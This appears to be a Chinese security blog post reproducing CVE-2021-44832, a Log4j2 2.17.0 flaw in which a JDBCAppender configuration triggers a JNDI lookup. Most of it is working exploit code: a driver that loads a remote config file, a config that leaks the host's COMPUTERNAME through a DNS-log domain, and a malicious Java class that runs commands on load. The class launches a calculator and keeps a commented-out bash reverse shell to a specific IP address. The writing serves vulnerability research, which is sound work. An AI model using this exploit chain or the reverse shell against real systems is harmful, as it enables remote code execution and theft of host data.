2021-12-29发表2022-04-01更新安全研究5 分钟读完 (大约694个字)0次访问

Log4j2基于JDBCAPPENDER配置文件任意文件执行(CVE-2021-44832)

前期log4j2存在的远程代码执行漏洞（CVE-2021-44228）引起了轩然大波。昨天上网冲浪发现，checkmark研究员YANIV NIZRY公布了新版本log4j2 2.17.0中存在基于JDBCAPPENDER配置文件的任意命令执行。且该漏洞已经公布其CVE编号为CVE-2021-44832。

漏洞描述

log4j2在进行JDBC反序列化之前，可以通过JNDI动态远程获取数据库源文件。官方配置文档的格式如下：

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
	<Appenders>
	<JDBC name="databaseAppender" tableName="dbo.application_log">
		     <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
		 <Column ...
	</JDBC>
 </Appenders>
…
</Configuration>

这里可以尝试控制任意LDAP的URL,而达成对应的利用。

1	<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>

本地复现

本地获取2.17.0版本log4j2

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>n
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.17.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.17.0</version>
        </dependency>
<!--        <dependency>-->
<!--            <groupId>commons-collections</groupId>-->
<!--            <artifactId>commons-collections</artifactId>-->
<!--            <version>3.1</version>-->
<!--        </dependency>-->

    </dependencies>

</project>

这里直接借助CVE-2021-44228 poc来进行测试

import java.util.*;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j2 {

    public static void main(String[] args) {
        System.setProperty("log4j2.configurationFile","http://192.168.1.81:8000/config.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        final Logger logger = LogManager.getLogger(Log4j2.class);

        Scanner sc = new Scanner(System.in);
        String str;
        while(true) {
            str = sc.nextLine();
            logger.error(str);
        }
    }
}

本地提供一个config.xml的配置文件

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="dns://${env:COMPUTERNAME}.mya9m5.dnslog.cn/exp" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

运行后接收请求:

漏洞利用

编写一个exp攻击，发起弹出计算机的命令，并且本地编译成恶意class类

import com.sun.org.apache.xpath.internal.objects.XString;

public class exp {
    static {
        // System.out.print("正在执行命令");
        try {
            Runtime rt = Runtime.getRuntime();
            // String[] commands = {"bash -i >& /dev/tcp/139.196.234.164/5555 0>&1"};
            String[] commands = {"Calc"};
            Process pc = rt.exec(commands);
            System.out.println("正在执行命令");
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}